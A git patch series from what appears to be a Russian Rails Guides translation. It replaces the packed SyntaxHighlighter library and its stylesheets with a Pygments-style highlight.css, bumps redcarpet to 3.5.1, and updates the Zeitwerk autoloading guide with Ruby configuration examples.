M("(?<27>[\\\\w-]+)\\\\s*:\\\\s*(?<1T>[\\\\w-%#]+|\\\\[.*?\\\\]|\\".*?\\"|\'.*?\')\\\\s*;?","g");(j=s.X(k))!=N;){K o=j.1T.Q(/^[\'"]|[\'"]$/g,"");I(o!=N&&m.1A(o)){o=m.X(o);o=o.2V.L>0?o.2V.1e(/\\s*,\\s*/):[]}l[j.27]=o}g={1F:g,1n:C(i,l)};g.1n.1D!=N&&d.U(g)}H d},1M:6(a,b){K c=J.35(a,b),d=N,h=e.13;I(c.L!==0)O(K g=0;g")==o-3){m=m.4h(0,o-3);s=R}l=s?m:l}I((i.1t||"")!="")k.1t=i.1t;k.1D=j;d.2Q(k);b=d.2F(l);I((i.1c||"")!="")b.1c=i.1c;i.2G.74(b,i)}}},2E:6(a){w(1P,"4k",6(){e.1M(a)})}};e.2E=e.2E;e.1M=e.1M;e.2L=6(a,b,c){J.1T=a;J.P=b;J.L=a.L;J.23=c;J.1V=N};e.2L.Z.1q=6(){H J.1T};e.4l=6(a){6 b(j,l){O(K m=0;md)1N;Y I(g.P==c.P&&g.L>c.L)a[b]=N;Y I(g.P>=c.P&&g.P\'+c+""},3Q:6(a,b){K c="",d=a.1e("\\n").L,h=2u(J.V("2i-1s")),g=J.V("2z-1s-2t");I(g==R)g=(h+d-1).1q().L;Y I(3R(g)==R)g=0;O(K i=0;i\'+j+"":"")+i)}H a},4f:6(a){H a?"<4a>"+a+"":""},4b:6(a,b){6 c(l){H(l=l?l.1V||g:g)?l+" ":""}O(K d=0,h="",g=J.V("1D",""),i=0;i|&1y;2R\\s*\\/?&1G;/2T;I(e.13.46==R)b=b.Q(h,"\\n");I(e.13.44==R)b=b.Q(h,"");b=b.1e("\\n");h=/^\\s*/;g=4Q;O(K i=0;i0;i++){K k=b[i];I(x(k).L!=0){k=h.X(k);I(k==N){a=a;1N a}g=1Q.4q(k[0].L,g)}}I(g>0)O(i=0;i\'+(J.V("16")?e.16.1H(J):"")+\'<3Z 5z="0" 5H="0" 5J="0">\'+J.4f(J.V("1t"))+"<3T><3P>"+(1u?\'<2d 1g="1u">\'+J.3Q(a)+"":"")+\'<2d 1g="17">\'+b+""},2F:6(a){I(a===N)a="";J.17=a;K b=J.3Y("T");b.3X=J.1H(a);J.V("16")&&w(p(b,".16"),"5c",e.16.2b);J.V("3V-17")&&w(p(b,".17"),"56",f);H b},2Q:6(a){J.1c=""+1Q.5d(1Q.5n()*5k).1q();e.1Y.2A[t(J.1c)]=J;J.1n=C(e.2v,a||{});I(J.V("2k")==R)J.1n.16=J.1n.1u=11},5j:6(a){a=a.Q(/^\\s+|\\s+$/g,"").Q(/\\s+/g,"|");H"\\\\b(?:"+a+")\\\\b"},5f:6(a){J.28={18:{1I:a.18,23:"1k"},1b:{1I:a.1b,23:"1k"},17:1f M("(?<18>"+a.18.1m+")(?<17>.*?)(?<1b>"+a.1b.1m+")","5o")}}};H e}();1j 2e!="1d"&&(2e.1v=1v);',62,441,'||||||function|||||||||||||||||||||||||||||||||||||return|if|this|var|length|XRegExp|null|for|index|replace|true||div|push|getParam|call|exec|else|prototype||false|lastIndex|config|arguments|RegExp|toolbar|code|left|captureNames|slice|right|id|undefined|split|new|class|addToken|indexOf|typeof|script|className|source|params|substr|apply|toString|String|line|title|gutter|SyntaxHighlighter|_xregexp|strings|lt|html|test|OUTSIDE_CLASS|match|brush|document|target|gt|getHtml|regex|global|join|style|highlight|break|concat|window|Math|isRegExp|throw|value|brushes|brushName|space|alert|vars|http|syntaxhighlighter|expandSource|size|css|case|font|Fa|name|htmlScript|dA|can|handler|gm|td|exports|color|in|href|first|discoveredBrushes|light|collapse|object|cache|getButtonHtml|trigger|pattern|getLineHtml|nbsp|numbers|parseInt|defaults|com|items|www|pad|highlighters|execute|focus|func|all|getDiv|parentNode|navigator|INSIDE_CLASS|regexList|hasFlag|Match|useScriptTags|hasNamedCapture|text|help|init|br|input|gi|Error|values|span|list|250|height|width|screen|top|500|tagName|findElements|getElementsByTagName|aboutDialog|_blank|appendChild|charAt|Array|copyAsGlobal|setFlag|highlighter_|string|attachEvent|nodeName|floor|backref|output|the|TypeError|sticky|Za|iterate|freezeTokens|scope|type|textarea|alexgorbatchev|version|margin|2010|005896|gs|regexLib|body|center|align|noBrush|require|childNodes|DTD|xhtml1|head|org|w3|url|preventDefault|container|tr|getLineNumbersHtml|isNaN|userAgent|tbody|isLineHighlighted|quick|void|innerHTML|create|table|links|auto|smart|tab|stripBrs|tabs|bloggerMode|collapsed|plain|getCodeLinesHtml|caption|getMatchesHtml|findMatches|figureOutLineNumbers|removeNestedMatches|getTitleHtml|brushNotHtmlScript|substring|createElement|Highlighter|load|HtmlScript|Brush|pre|expand|multiline|min|Can|ignoreCase|find|blur|extended|toLowerCase|aliases|addEventListener|innerText|textContent|wasn|select|createTextNode|removeChild|option|same|frame|xmlns|dtd|twice|1999|equiv|meta|htmlscript|transitional|1E3|expected|PUBLIC|DOCTYPE|on|W3C|XHTML|TR|EN|Transitional||configured|srcElement|Object|after|run|dblclick|matchChain|valueOf|constructor|default|switch|click|round|execAt|forHtmlScript|token|gimy|functions|getKeywords|1E6|escape|within|random|sgi|another|finally|supply|MSIE|ie|toUpperCase|catch|returnValue|definition|event|border|imsx|constructing|one|Infinity|from|when|Content|cellpadding|flags|cellspacing|try|xhtml|Type|spaces|2930402|hosted_button_id|lastIndexOf|donate|active|development|keep|to|xclick|_s|Xml|please|like|you|paypal|cgi|cmd|webscr|bin|highlighted|scrollbars|aspScriptTags|phpScriptTags|sort|max|scriptScriptTags|toolbar_item|_|command|command_|number|getElementById|doubleQuotedString|singleLinePerlComments|singleLineCComments|multiLineCComments|singleQuotedString|multiLineDoubleQuotedString|xmlComments|alt|multiLineSingleQuotedString|If|https|1em|000|fff|background|5em|xx|bottom|75em|Gorbatchev|large|serif|CDATA|continue|utf|charset|content|About|family|sans|Helvetica|Arial|Geneva|3em|nogutter|Copyright|syntax|close|write|2004|Alex|open|JavaScript|highlighter|July|02|replaceChild|offset|83'.split('|'),0,{})) diff --git a/vendor/assets/stylesheets/highlight.css b/vendor/assets/stylesheets/highlight.css new file mode 100644 index 00000000..2d32c54e --- /dev/null +++ b/vendor/assets/stylesheets/highlight.css @@ -0,0 +1,209 @@ +/* Taken from https://github.com/rails/rails/blob/main/guides/assets/stylesheets/highlight.css */ +.highlight table td { padding: 5px; } +.highlight table pre { margin: 0; } +.highlight .cm { + color: #999988; + font-style: italic; +} +.highlight .cp { + color: #999999; + font-weight: bold; +} +.highlight .c1 { + color: #999988; + font-style: italic; +} +.highlight .cs { + color: #999999; + font-weight: bold; + font-style: italic; +} +.highlight .c, .highlight .ch, .highlight .cd, .highlight .cpf { + color: #999988; + font-style: italic; +} +.highlight .err { + color: #a61717; + background-color: #e3d2d2; +} +.highlight .gd { + color: #000000; + background-color: #ffdddd; +} +.highlight .ge { + color: #000000; + font-style: italic; +} +.highlight .gr { + color: #aa0000; +} +.highlight .gh { + color: #999999; +} +.highlight .gi { + color: #000000; + background-color: #ddffdd; +} +.highlight .go { + color: #888888; +} +.highlight .gp { + color: #555555; +} +.highlight .gs { + font-weight: bold; +} +.highlight .gu { + color: #aaaaaa; +} +.highlight .gt { + color: #aa0000; +} +.highlight .kc { + color: #000000; + font-weight: bold; +} +.highlight .kd { + color: #000000; + font-weight: bold; +} +.highlight .kn { + color: #000000; + font-weight: bold; +} +.highlight .kp { + color: #000000; + font-weight: bold; +} +.highlight .kr { + color: #000000; + font-weight: bold; +} +.highlight .kt { + color: #445588; + font-weight: bold; +} +.highlight .k, .highlight .kv { + color: #07a; +} +.highlight .mf { + color: #009999; +} +.highlight .mh { + color: #009999; +} +.highlight .il { + color: #009999; +} +.highlight .mi { + color: #009999; +} +.highlight .mo { + color: #009999; +} +.highlight .m, .highlight .mb, .highlight .mx { + color: #009999; +} +.highlight .sb { + color: #d14; +} +.highlight .sc { + color: #d14; +} +.highlight .sd { + color: #d14; +} +.highlight .s2 { + color: #d14; +} +.highlight .se { + color: #d14; +} +.highlight .sh { + color: #d14; +} +.highlight .si { + color: #d14; +} +.highlight .sx { + color: #d14; +} +.highlight .sr { + color: #009926; +} +.highlight .s1 { + color: #d14; +} +.highlight .ss { + color: #990073; +} +.highlight .s, .highlight .sa, .highlight .dl { + color: #d14; +} +.highlight .na { + color: #008080; +} +.highlight .bp { + color: #999999; +} +.highlight .nb { + color: #0086B3; +} +.highlight .nc { + color: #445588; + font-weight: bold; +} +.highlight .no { + color: #008080; +} +.highlight .nd { + color: #3c5d5d; + font-weight: bold; +} +.highlight .ni { + color: #800080; +} +.highlight .ne { + color: #990000; + font-weight: bold; +} +.highlight .nf, .highlight .fm { + color: #990000; + font-weight: bold; +} +.highlight .nl { + color: #990000; + font-weight: bold; +} +.highlight .nn { + color: #555555; +} +.highlight .nt { + color: #000080; +} +.highlight .vc { + color: #008080; +} +.highlight .vg { + color: #008080; +} +.highlight .vi { + color: #005cc5; +} +.highlight .nv, .highlight .vm { + color: #008080; +} +.highlight .ow { + color: #000000; + font-weight: bold; +} +.highlight .o { + color: #000000; + font-weight: bold; +} +.highlight .w { + color: #bbbbbb; +} +.highlight { + background-color: transparent; +} diff --git a/vendor/assets/stylesheets/shCore.css b/vendor/assets/stylesheets/shCore.css deleted file mode 100644 index 34f6864a..00000000 --- a/vendor/assets/stylesheets/shCore.css +++ /dev/null @@ -1,226 +0,0 @@ -/** - * SyntaxHighlighter - * http://alexgorbatchev.com/SyntaxHighlighter - * - * SyntaxHighlighter is donationware. If you are using it, please donate. - * http://alexgorbatchev.com/SyntaxHighlighter/donate.html - * - * @version - * 3.0.83 (July 02 2010) - * - * @copyright - * Copyright (C) 2004-2010 Alex Gorbatchev. - * - * @license - * Dual licensed under the MIT and GPL licenses. - */ -.syntaxhighlighter a, -.syntaxhighlighter div, -.syntaxhighlighter code, -.syntaxhighlighter table, -.syntaxhighlighter table td, -.syntaxhighlighter table tr, -.syntaxhighlighter table tbody, -.syntaxhighlighter table thead, -.syntaxhighlighter table caption, -.syntaxhighlighter textarea { - -moz-border-radius: 0 0 0 0 !important; - -webkit-border-radius: 0 0 0 0 !important; - background: none !important; - border: 0 !important; - bottom: auto !important; - float: none !important; - height: auto !important; - left: auto !important; - line-height: 1.1em !important; - margin: 0 !important; - outline: 0 !important; - overflow: visible !important; - padding: 0 !important; - position: static !important; - right: auto !important; - text-align: left !important; - top: auto !important; - vertical-align: baseline !important; - width: auto !important; - box-sizing: content-box !important; - font-family: "Consolas", "Bitstream Vera Sans Mono", "Courier New", Courier, monospace !important; - font-weight: normal !important; - font-style: normal !important; - font-size: 1em !important; - min-height: inherit !important; - min-height: auto !important; -} - -.syntaxhighlighter { - width: 100% !important; - margin: 1em 0 1em 0 !important; - position: relative !important; - overflow: auto !important; - font-size: 1em !important; -} -.syntaxhighlighter.source { - overflow: hidden !important; -} -.syntaxhighlighter .bold { - font-weight: bold !important; -} -.syntaxhighlighter .italic { - font-style: italic !important; -} -.syntaxhighlighter .line { - white-space: pre !important; -} -.syntaxhighlighter table { - width: 100% !important; -} -.syntaxhighlighter table caption { - text-align: left !important; - padding: .5em 0 0.5em 1em !important; -} -.syntaxhighlighter table td.code { - width: 100% !important; -} -.syntaxhighlighter table td.code .container { - position: relative !important; -} -.syntaxhighlighter table td.code .container textarea { - box-sizing: border-box !important; - position: absolute !important; - left: 0 !important; - top: 0 !important; - width: 100% !important; - height: 100% !important; - border: none !important; - background: white !important; - padding-left: 1em !important; - overflow: hidden !important; - white-space: pre !important; -} -.syntaxhighlighter table td.gutter .line { - text-align: right !important; - padding: 0 0.5em 0 1em !important; -} -.syntaxhighlighter table td.code .line { - padding: 0 1em !important; -} -.syntaxhighlighter.nogutter td.code .container textarea, .syntaxhighlighter.nogutter td.code .line { - padding-left: 0em !important; -} -.syntaxhighlighter.show { - display: block !important; -} -.syntaxhighlighter.collapsed table { - display: none !important; -} -.syntaxhighlighter.collapsed .toolbar { - padding: 0.1em 0.8em 0em 0.8em !important; - font-size: 1em !important; - position: static !important; - width: auto !important; - height: auto !important; -} -.syntaxhighlighter.collapsed .toolbar span { - display: inline !important; - margin-right: 1em !important; -} -.syntaxhighlighter.collapsed .toolbar span a { - padding: 0 !important; - display: none !important; -} -.syntaxhighlighter.collapsed .toolbar span a.expandSource { - display: inline !important; -} -.syntaxhighlighter .toolbar { - position: absolute !important; - right: 1px !important; - top: 1px !important; - width: 11px !important; - height: 11px !important; - font-size: 10px !important; - z-index: 10 !important; -} -.syntaxhighlighter .toolbar span.title { - display: inline !important; -} -.syntaxhighlighter .toolbar a { - display: block !important; - text-align: center !important; - text-decoration: none !important; - padding-top: 1px !important; -} -.syntaxhighlighter .toolbar a.expandSource { - display: none !important; -} -.syntaxhighlighter.ie { - font-size: .9em !important; - padding: 1px 0 1px 0 !important; -} -.syntaxhighlighter.ie .toolbar { - line-height: 8px !important; -} -.syntaxhighlighter.ie .toolbar a { - padding-top: 0px !important; -} -.syntaxhighlighter.printing .line.alt1 .content, -.syntaxhighlighter.printing .line.alt2 .content, -.syntaxhighlighter.printing .line.highlighted .number, -.syntaxhighlighter.printing .line.highlighted.alt1 .content, -.syntaxhighlighter.printing .line.highlighted.alt2 .content { - background: none !important; -} -.syntaxhighlighter.printing .line .number { - color: #bbbbbb !important; -} -.syntaxhighlighter.printing .line .content { - color: black !important; -} -.syntaxhighlighter.printing .toolbar { - display: none !important; -} -.syntaxhighlighter.printing a { - text-decoration: none !important; -} -.syntaxhighlighter.printing .plain, .syntaxhighlighter.printing .plain a { - color: black !important; -} -.syntaxhighlighter.printing .comments, .syntaxhighlighter.printing .comments a { - color: #008200 !important; -} -.syntaxhighlighter.printing .string, .syntaxhighlighter.printing .string a { - color: blue !important; -} -.syntaxhighlighter.printing .keyword { - color: #006699 !important; - font-weight: bold !important; -} -.syntaxhighlighter.printing .preprocessor { - color: gray !important; -} -.syntaxhighlighter.printing .variable { - color: #aa7700 !important; -} -.syntaxhighlighter.printing .value { - color: #009900 !important; -} -.syntaxhighlighter.printing .functions { - color: #ff1493 !important; -} -.syntaxhighlighter.printing .constants { - color: #0066cc !important; -} -.syntaxhighlighter.printing .script { - font-weight: bold !important; -} -.syntaxhighlighter.printing .color1, .syntaxhighlighter.printing .color1 a { - color: gray !important; -} -.syntaxhighlighter.printing .color2, .syntaxhighlighter.printing .color2 a { - color: #ff1493 !important; -} -.syntaxhighlighter.printing .color3, .syntaxhighlighter.printing .color3 a { - color: red !important; -} -.syntaxhighlighter.printing .break, .syntaxhighlighter.printing .break a { - color: black !important; -} diff --git a/vendor/assets/stylesheets/shThemeRailsGuides.css b/vendor/assets/stylesheets/shThemeRailsGuides.css deleted file mode 100644 index e169f5a2..00000000 --- a/vendor/assets/stylesheets/shThemeRailsGuides.css +++ /dev/null @@ -1,117 +0,0 @@ -/** - * Theme by fxn, took shThemeEclipse.css as starting point. - */ -.syntaxhighlighter { - background-color: #eee !important; - font-family: "Anonymous Pro", "Inconsolata", "Menlo", "Consolas", "Bitstream Vera Sans Mono", "Courier New", monospace !important; - overflow-y: hidden !important; - overflow-x: auto !important; - padding-bottom: 2px; -} -.syntaxhighlighter .line.alt1 { - background-color: #eee !important; -} -.syntaxhighlighter .line.alt2 { - background-color: #eee !important; -} -.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 { - background-color: #c3defe !important; -} -.syntaxhighlighter .line.highlighted.number { - color: #eee !important; -} -.syntaxhighlighter table caption { - color: #222 !important; -} -.syntaxhighlighter .gutter { - color: #787878 !important; -} -.syntaxhighlighter .gutter .line { - border-right: 3px solid #d4d0c8 !important; -} -.syntaxhighlighter .gutter .line.highlighted { - background-color: #d4d0c8 !important; - color: #eee !important; -} -.syntaxhighlighter.printing .line .content { - border: none !important; -} -.syntaxhighlighter.collapsed { - overflow: visible !important; -} -.syntaxhighlighter.collapsed .toolbar { - color: #3f5fbf !important; - background: #eee !important; - border: 1px solid #d4d0c8 !important; -} -.syntaxhighlighter.collapsed .toolbar a { - color: #3f5fbf !important; -} -.syntaxhighlighter.collapsed .toolbar a:hover { - color: #aa7700 !important; -} -.syntaxhighlighter .toolbar { - color: #a0a0a0 !important; - background: #d4d0c8 !important; - border: none !important; -} -.syntaxhighlighter .toolbar a { - color: #a0a0a0 !important; -} -.syntaxhighlighter .toolbar a:hover { - color: red !important; -} -.syntaxhighlighter .plain, .syntaxhighlighter .plain a { - color: #222 !important; -} -.syntaxhighlighter .comments, .syntaxhighlighter .comments a { - color: #708090 !important; -} -.syntaxhighlighter .string, .syntaxhighlighter .string a { - font-style: italic !important; - color: #6588A8 !important; -} -.syntaxhighlighter .keyword { - color: #64434d !important; -} -.syntaxhighlighter .preprocessor { - color: #646464 !important; -} -.syntaxhighlighter .variable { - color: #222 !important; -} -.syntaxhighlighter .value { - color: #009900 !important; -} -.syntaxhighlighter .functions { - color: #ff1493 !important; -} -.syntaxhighlighter .constants { - color: #0066cc !important; -} -.syntaxhighlighter .script { - color: #222 !important; - background-color: none !important; -} -.syntaxhighlighter .color1, .syntaxhighlighter .color1 a { - color: gray !important; -} -.syntaxhighlighter .color2, .syntaxhighlighter .color2 a { - color: #222 !important; - font-weight: bold !important; -} -.syntaxhighlighter .color3, .syntaxhighlighter .color3 a { - color: red !important; -} - -.syntaxhighlighter .xml .keyword { - color: #64434d !important; - font-weight: normal !important; -} -.syntaxhighlighter .xml .color1, .syntaxhighlighter .xml .color1 a { - color: #7f007f !important; -} -.syntaxhighlighter .xml .string { - font-style: italic !important; - color: #6588A8 !important; -} From 07c28cab2e988315cf17f28a7c3c0ef273c36b74 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Sat, 20 Feb 2021 17:50:16 +0000 Subject: [PATCH 554/932] Bump redcarpet from 3.5.0 to 3.5.1 Bumps [redcarpet](https://github.com/vmg/redcarpet) from 3.5.0 to 3.5.1. - [Release notes](https://github.com/vmg/redcarpet/releases) - [Changelog](https://github.com/vmg/redcarpet/blob/master/CHANGELOG.md) - [Commits](https://github.com/vmg/redcarpet/compare/v3.5.0...v3.5.1) Signed-off-by: dependabot[bot] --- Gemfile.lock | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Gemfile.lock b/Gemfile.lock index 7b5328c5..925bd28b 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -215,7 +215,7 @@ GEM rb-inotify (0.10.1) ffi (~> 1.0) rchardet (1.8.0) - redcarpet (3.5.0) + redcarpet (3.5.1) ref (2.0.0) rouge (3.26.0) rspec-core (3.9.1) From 489564cea8a24df2a03ae63663040674ccc7ed6a Mon Sep 17 00:00:00 2001 From: Mikhail Date: Sun, 21 Feb 2021 21:33:37 +0300 Subject: [PATCH 555/932] Update zeitwerk guide --- .yaspeller.json | 1 + source/autoloading_and_reloading_constants.md | 204 ++++++++++++++++-- ...ng_and_reloading_constants_classic_mode.md | 4 +- source/index.yml | 4 +- source/upgrading_ruby_on_rails.md | 2 +- 5 files changed, 189 insertions(+), 26 deletions(-) diff --git a/.yaspeller.json b/.yaspeller.json index 9acbf92c..589652ac 100644 --- a/.yaspeller.json +++ b/.yaspeller.json @@ -164,6 +164,7 @@ "подмаршрут(а|е|у|ы|ах|ов|ом|ами|)", "подмассив(а|у|ы|ах|ов|ом|ами|)", "подпроект(а|у|ы|ах|ов|ом|ами|)", + "подсесси(и|ю|я|ей)", "подшаблон(а|е|у|ы|ах|ов|ом|ами|)", "подшаблонн(ыми|ый)", "полнобраузерн(ая|ое|ой|ую|ые|ым|ый|ых|ого|ыми)", diff --git a/source/autoloading_and_reloading_constants.md b/source/autoloading_and_reloading_constants.md index eaa67905..8432a0c4 100644 --- a/source/autoloading_and_reloading_constants.md +++ b/source/autoloading_and_reloading_constants.md @@ -53,7 +53,7 @@ end ```ruby # config/application.rb -config.load_defaults "6.x" # enables zeitwerk mode in CRuby +config.load_defaults 6.0 # enables zeitwerk mode in CRuby ``` В режиме `zeitwerk` Rails использует [Zeitwerk](https://github.com/fxn/zeitwerk) для автоматической загрузки, перезагрузки и ленивой загрузки. Rails создает и настраивает экземпляр Zeitwerk, управляющий проектом. @@ -67,30 +67,30 @@ INFO. Сам Zeitwerk не нужно настраивать вручную в Например, файл `app/helpers/users_helper.rb` должен определять `UsersHelper`, а файл `app/controllers/admin/payments_controller.rb` должен определять `Admin::PaymentsController`. -Rails настраивает Zeitwerk, чтобы преобразовывать имена файлов с помощью `String#camelize`. Например, он ожидает, что `app/controllers/users_controller.rb` определяет константу `UsersController`, так как +По умолчанию Rails настраивает Zeitwerk, чтобы преобразовывать имена файлов с помощью `String#camelize`. Например, он ожидает, что `app/controllers/users_controller.rb` определяет константу `UsersController`, так как ```ruby "users_controller".camelize # => UsersController ``` -Если нужно изменить любые из этих преобразований, например, добавить сокращение, взгляните на `config/initializers/inflections.rb`. +Раздел _Настройка словообразования_ ниже документирует способы переопределения этих умолчаний. Подробности в [документации Zeitwerk](https://github.com/fxn/zeitwerk#file-structure). (autoload-paths) Пути автоматической загрузки --------------------------------------------- -Мы называем _путями автозагрузки_ список директорий приложения, содержимое которых должно быть автоматически загружено. Например, `app/models`. Эти директории представляют корневое пространство имен: `Object`. +Мы ссылаемся на список директорий приложения, содержимое которых должно быть автоматически загружено, как _пути автозагрузки_. Например, `app/models`. Эти директории представляют корневое пространство имен: `Object`. INFO. Пути автоматической загрузки называются _корневыми директориями_ в документации Zeitwerk, но в этом руководстве мы будем называть их "путь автозагрузки". В пределах пути автозагрузки, имена файлов должны соответствовать константам, которые они определяют, как документировано [тут](https://github.com/fxn/zeitwerk#file-structure). -По умолчанию, пути автозагрузки приложения состоят из всех поддиректорий `app`, существующих во время загрузки приложения — за исключением `assets`, `javascripts`, `views` — плюс пути автозагрузки engine-ов, от которых оно может зависеть. +По умолчанию, пути автозагрузки приложения состоят из всех поддиректорий `app`, существующих во время загрузки приложения — за исключением `assets`, `javascript`, `views` — плюс пути автозагрузки engine-ов, от которых оно может зависеть. К примеру, если `UsersHelper` реализован в `app/helpers/users_helper.rb`, этот модуль автоматически загружаемый, и вам не нужно писать вызов `require` для него: -``` +```bash $ bin/rails runner 'p UsersHelper' UsersHelper ``` @@ -127,9 +127,7 @@ Rails определяет, что файлы изменились, с помо Однако, можно принудительно перезагрузить, выполнив в консоли `reload!`: -``` -$ bin/rails c -Loading development environment (Rails 6.0.0) +```irb irb(main):001:0> User.object_id => 70136277390120 irb(main):002:0> reload! @@ -145,9 +143,9 @@ irb(main):003:0> User.object_id Очень важно понимать, что в Ruby нет способа настоящей перезагрузки классов и методов в памяти, и это отражается везде, где она используется. Технически "выгрузка" класса `User` означает удаление константы `User` с помощью `Object.send(:remove_const, "User")`. -Следовательно, если вы храните объект перезагружаемого класса или модуля в месте, которое не перезагружается, это значение становится устаревшим. +Следовательно, код, ссылающийся на объект перезагружаемого класса или модуля, но не выполненный при перезагрузке, становится устаревшим. Давайте рассмотрим следующий пример. -Например, если инициализатор хранит и кэширует определенный объект класса +Допустим, у нас есть инициализатор: ```ruby # config/initializers/configure_payment_gateway.rb @@ -156,18 +154,27 @@ $PAYMENT_GATEWAY = Rails.env.production? ? RealGateway : MockedGateway # НЕ ДЕЛАЙТЕ ТАК. ``` -и `MockedGateway` становится перезагруженным, `$PAYMENT_GATEWAY` все еще хранит объект класса `MockedGateway`, вычисленный, когда был запущен инициализатор. Перезагрузка не изменит объект класса, хранящегося в `$PAYMENT_GATEWAY`. +Идея в том, чтобы использовать `$PAYMENT_GATEWAY` в коде, и позволить инициализатору определить фактическую реализацию в зависимости от среды. -Подобным образом, в консоле Rails, если у вас есть экземпляр user и перезагрузка: +При перезагрузке `MockedGateway` перезагружается, но `$PAYMENT_GATEWAY` не обновляется, так как инициализаторы запускаются только при загрузке. Следовательно, изменение не будет отражено. -``` -> user = User.new -> reload! +Есть несколько способов сделать это безопасно. Например, приложение может определить метод `PaymentGateway.impl`, зависимый от среды; или определить `PaymentGateway` как имеющий родительский класс или миксин в зависимости от среды; или использовать ту же хитрость с глобальной переменной, но в колбэке перезагрузки, как будет объяснено ниже. + +Давайте рассмотрим другие ситуации, связанные с устаревшими объектами класса или модуля. + +Вот сессия консоли Rails: + +```irb +irb> joe = User.new +irb> reload! +irb> alice = User.new +irb> joe.class == alice.class +=> false ``` -объект `user` является экземпляром устаревшего объекта класса. Ruby дает вам новый класс, если вы снова вычислите `User`, но не обновит класс, экземпляром которого является `user`. +`joe` это экземпляр первоначального класса `User`. При перезагрузке константа `User` вычисляется как другой, перезагруженный класс. `alice` это экземпляр текущего класса, но не `joe`, его класс устарел. Можно снова определить `joe`, запустить подсессию IRB или просто запустить новую консоль вместо вызова `reload!`. -Другим использованием этой особенности является создание подкласса перезагружаемого класса в месте, которое не перезагружается: +Другой ситуацией, в которой можно обнаружить эту особенность, является создание подкласса перезагружаемого класса в месте, которое не перезагружается: ```ruby # lib/vip_user.rb @@ -179,6 +186,32 @@ end Вывод: **не кэшируйте перезагружаемые классы или модули**. +### Автозагрузка при загрузке приложения + +Приложения могут безопасно автоматически загружать константы в течение загрузки с помощью колбэка перезагрузки: + +```ruby +Rails.application.reloader.to_prepare do + $PAYMENT_GATEWAY = Rails.env.production? ? RealGateway : MockedGateway +end +``` + +Этот блок запускается пи загрузке приложения, и каждый раз, когда код перезагружается. + +NOTE: по историческим причинам этот колбэк может быть запущен дважды. Запускаемый код обязан быть идемпотентным. + +Однако, если нет необходимости перезагружать класс, проще определить его в директории, не принадлежащей путям автозагрузки. Например, идиоматическим выбором является `lib`, она не принадлежит путям автозагрузки по молчанию, но принадлежит `$LOAD_PATH`. Затем, там, где этот нужен во время загрузки, просто выполните обычный `require`, чтобы его загрузить. + +Например, нет нужды определять перезагружаемую промежуточную программу Rack, так как в любом случае изменения не будут отражены в экземпляре, хранимом в стеке промежуточных программ. Если `lib/my_app/middleware/foo.rb` определяет класс промежуточной программы, тогда в `config/application.rb` напишем: + +```ruby +require "my_app/middleware/foo" +... +config.middleware.use MyApp::Middleware::Foo +``` + +Чтобы отразить изменения в этой промежуточной программе, необходимо перезапустить сервер. + Нетерпеливая загрузка --------------------- @@ -222,10 +255,10 @@ module StiPreload types_in_db = \ base_class. select(inheritance_column). + unscoped. distinct. pluck(inheritance_column). - compact. - each(&:constantize) + compact types_in_db.each do |type| logger.debug("Preloading STI type #{type}") @@ -248,16 +281,91 @@ require "sti_preload" class Shape < ApplicationRecord include StiPreload # Только в корневом класса. end +``` +```ruby # app/models/polygon.rb class Polygon < Shape end +``` +```ruby # app/models/triangle.rb class Triangle < Polygon end ``` +Настройка словообразования +-------------------------- + +По умолчанию Rails использует `String#camelize`, чтобы узнать, какую константу должны определять данный файл или директория. Например, `posts_controller.rb` должен определять `PostsController`, так как это то, что возвращает `"posts_controller".camelize`. + +Возможны случаи, когда имя определенного файла или директории не преобразуется в то, что вы хотите. Например, по умолчанию от `html_parser.rb` ожидается определение `HtmlParser`. Но что, если вы предпочитаете класс `HTMLParser`? Есть несколько способов настроить это. + +Самым простым способом является определение аббревиатур в `config/initializers/inflections.rb`: + +```ruby +ActiveSupport::Inflector.inflections(:en) do |inflect| + inflect.acronym "HTML" + inflect.acronym "SSL" +end +``` + +Это глобально влияет на словообразование Active Support. Для некоторых приложений это отлично, но можно также настроить, как camelize отдельные базовые имена, независимо от Active Support, предоставив коллекцию переопределений в преобразователь по умолчанию: + +```ruby +# config/initializers/zeitwerk.rb +Rails.autoloaders.each do |autoloader| + autoloader.inflector.inflect( + "html_parser" => "HTMLParser", + "ssl_error" => "SSLError" + ) +end +``` + +Эта техника все еще зависит от `String#camelize`, хотя, так как преобразователь по умолчанию использует его как резервный. Если предпочитаете вообще не зависеть от словообразований Active Support, и получить полный контроль над словообразованием, настройте преобразователи быть экземплярами `Zeitwerk::Inflector`: + +```ruby +# config/initializers/zeitwerk.rb +Rails.autoloaders.each do |autoloader| + autoloader.inflector = Zeitwerk::Inflector.new + autoloader.inflector.inflect( + "html_parser" => "HTMLParser", + "ssl_error" => "SSLError" + ) +end +``` + +Нет какой-либо глобальной конфигурации, которая может повлиять на указанные экземпляры, они детерминированы. + +Можно даже определить собственный преобразователь для полной гибкости. Пожалуйста, обратитесь за подробностями к [документации Zeitwerk](https://github.com/fxn/zeitwerk#custom-inflector). + +Разрешение проблем +------------------ + +Лучшим способом понять, что делают загрузчики, является наблюдение за их активностью. + +Простейший способ для этого - закинуть + +```ruby +Rails.autoloaders.log! +``` + +в `config/application.rb` после загрузки умолчаний для фреймворка. Это напечатает трейсы в стандартный вывод. + +Если предпочитаете логирование в файл, настройте так: + +```ruby +Rails.autoloaders.logger = Logger.new("#{Rails.root}/log/autoloading.log") +``` + +Логгер Rails logger пока еще не готов в `config/application.rb`, поэтому можно в инициализаторе: + +```ruby +# config/initializers/log_autoloaders.rb +Rails.autoloaders.logger = Rails.logger +``` + Rails.autoloaders ----------------- @@ -276,6 +384,60 @@ Rails.autoloaders.once Rails.autoloaders.zeitwerk_enabled? ``` +Отличия от режима Classic +------------------------- + +### Соответствие поиску констант Ruby + +Режим `classic` не может соответствовать семантике поиска констант из-за фундаментальных ограничений техники, на которой он основан, в то время как режим `zeitwerk` работает, подобно Ruby. + +Например, в режиме `classic` определение классов или модулей в пространствах имен с ограниченными константами следующим образом + +```ruby +class Admin::UsersController < ApplicationController +end +``` + +не рекомендовалось, так как резолюция констант внутри их тела была поломанной. Лучше было писать их следующим образом: + +```ruby +module Admin + class UsersController < ApplicationController + end +end +``` + +В режиме `zeitwerk` это больше не имеет значения, можно выбрать любой стиль. + +Резолюция констант могла зависеть от порядка загрузки, определения объекта класса или 